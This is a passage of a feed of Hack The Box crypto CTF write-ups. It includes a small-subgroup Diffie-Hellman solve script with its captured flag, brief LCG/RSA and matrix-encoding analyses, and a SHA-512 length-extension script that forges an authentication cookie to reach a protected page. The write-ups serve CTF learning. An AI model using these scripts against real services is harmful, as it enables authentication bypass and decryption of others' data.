style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ap&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;add_argument(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;--port&amp;#39;&lt;/span&gt;, required&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;True&lt;/span&gt;, type&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;int)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    args &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; ap&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;parse_args()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    io &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; remote(args&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;host, args&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;port)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    recv_menu(io)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    io&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendline(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;1&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p, g, A, B &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; parse_params(recv_menu(io))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    io&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendline(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;3&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ct_blob &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; recv_menu(io)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ct &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; bytes&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;fromhex(re&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;search(&lt;span style=&#34;color:#e6db74&#34;&gt;r&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;encrypted = ([0-9a-f]+)&amp;#39;&lt;/span&gt;, ct_blob)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;group(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    io&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;close()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fac &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; factorint(p &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    q_small &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;None&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; f &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; fac:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;35&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;=&lt;/span&gt; int(f)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;bit_length() &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;43&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            q_small &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; int(f)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#66d9ef&#34;&gt;break&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; q_small &lt;span style=&#34;color:#f92672&#34;&gt;is&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;None&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;raise&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;SystemExit&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;small subgroup order not found&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    a &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; discrete_log(p, A, g, order&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;q_small)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    b &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; discrete_log(p, B, g, order&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;q_small)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ss &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; pow(g, (a &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; b) &lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt; q_small, p)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    key &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; sha256(long_to_bytes(ss))&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;digest()[:&lt;span style=&#34;color:#ae81ff&#34;&gt;16&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pt &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; unpad(AES&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;new(key, AES&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;MODE_ECB)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;decrypt(ct), &lt;span style=&#34;color:#ae81ff&#34;&gt;16&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    print(pt&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;decode())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; __name__ &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    main()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;run&#34;&gt;Run&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python3 solve.py --host &amp;lt;ip&amp;gt; --port &amp;lt;port&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;result&#34;&gt;Result&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTB{00ps_wh4t_4_sm411_0rd3r}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/pagevault&gt;</description>
    </item>
    <item>
      <title>HTB - Crypto: Embryonic Plant</title>
      <link>/posts/htb-crypto-embryonic-plant/</link>
      <pubDate>Fri, 27 Feb 2026 02:20:00 +0700</pubDate>
      <guid>/posts/htb-crypto-embryonic-plant/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Embryonic Plant&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Crypto&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Easy&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Recover AES key and decrypt encrypted flag.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;Service prints:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;n = p*q*r&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;five consecutive RNG states from:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;s_{i+1} = (s_i * p + q) mod r&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Same &lt;code&gt;p,q,r&lt;/code&gt; are RSA factors and used to derive private exponent &lt;code&gt;d&lt;/code&gt;; AES key is &lt;code&gt;sha256(d)&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Leaking several states lets us recover the LCG modulus/parameters, which also recovers RSA factors.&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Crypto: Quantum-Safe</title>
      <link>/posts/htb-crypto-quantum-safe/</link>
      <pubDate>Fri, 27 Feb 2026 02:18:00 +0700</pubDate>
      <guid>/posts/htb-crypto-quantum-safe/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Quantum-Safe&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Crypto&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Easy&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Recover flag from matrix-based encoding output.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;The challenge encodes each character with:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;y = [ord(c), a, b] * P + r&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;P&lt;/code&gt; is public and invertible.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;a,b&lt;/code&gt; are small random values in &lt;code&gt;[0,100]&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;r&lt;/code&gt; is a fixed unknown offset vector.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Because &lt;code&gt;P&lt;/code&gt; is invertible and noise is bounded, we can recover &lt;code&gt;r&lt;/code&gt; and decode all rows exactly.&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Crypto: Protein Cookies</title>
      <link>/posts/htb-crypto-protein-cookies/</link>
      <pubDate>Fri, 27 Feb 2026 02:16:00 +0700</pubDate>
      <guid>/posts/htb-crypto-protein-cookies/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Protein Cookies&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Crypto&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Easy&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Access protected &lt;code&gt;/program&lt;/code&gt; content and recover flag.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;Cookie signature uses SHA-512 over a construction equivalent to:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sig = SHA512(secret || payload)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is vulnerable to length extension. We can append &lt;code&gt;&amp;amp;isLoggedIn=True&lt;/code&gt; and forge a valid new signature without knowing &lt;code&gt;secret&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;exploit-strategy&#34;&gt;Exploit Strategy&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Obtain guest &lt;code&gt;login_info&lt;/code&gt; cookie.&lt;/li&gt;&#xA;&lt;li&gt;Parse payload+digest.&lt;/li&gt;&#xA;&lt;li&gt;Perform SHA-512 length-extension with guessed secret length.&lt;/li&gt;&#xA;&lt;li&gt;Send forged cookie to &lt;code&gt;/program&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Extract flag from returned PDF/content.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;solve-script-full-poc&#34;&gt;Solve Script (Full PoC)&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#!/usr/bin/env python3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; base64&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; argparse&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; requests&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;from&lt;/span&gt; hashpumpy &lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; hashpump&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;main&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ap &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; argparse&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;ArgumentParser()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ap&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;add_argument(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;--base&amp;#39;&lt;/span&gt;, required&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;True&lt;/span&gt;, help&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;e.g. http://&amp;lt;ip&amp;gt;:&amp;lt;port&amp;gt;&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ap&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;add_argument(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;--secret-len&amp;#39;&lt;/span&gt;, type&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;int, default&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;16&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    args &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; ap&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;parse_args()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    s &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; requests&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;Session()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    s&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;get(args&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;base &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;/program&amp;#39;&lt;/span&gt;, allow_redirects&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;True&lt;/span&gt;, timeout&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    guest &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; s&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;cookies&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;login_info&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;not&lt;/span&gt; guest:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;raise&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;SystemExit&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;missing guest cookie&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    payload_b64, sig_b64 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; guest&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;split(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;.&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    payload &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; base64&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;b64decode(payload_b64)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    sig_hex &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; base64&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;b64decode(sig_b64)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;decode()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    append &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;amp;isLoggedIn=True&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    new_sig_hex, forged_payload &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; hashpump(sig_hex, payload&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;decode(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;latin1&amp;#39;&lt;/span&gt;), append&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;decode(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;latin1&amp;#39;&lt;/span&gt;), args&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;secret_len)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    forged_cookie &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        base64&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;b64encode(forged_payload&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;encode(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;latin1&amp;#39;&lt;/span&gt;))&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;decode() &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;.&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        base64&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;b64encode(new_sig_hex&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;encode())&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;decode()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    r &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; requests&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;get(args&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;base &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;/program&amp;#39;&lt;/span&gt;, headers&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;{&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;Cookie&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;login_info=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;forged_cookie&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;}, timeout&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    print(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;status:&amp;#39;&lt;/span&gt;, r&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;status_code)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    print(r&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;text[:&lt;span style=&#34;color:#ae81ff&#34;&gt;400&lt;/span&gt;])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 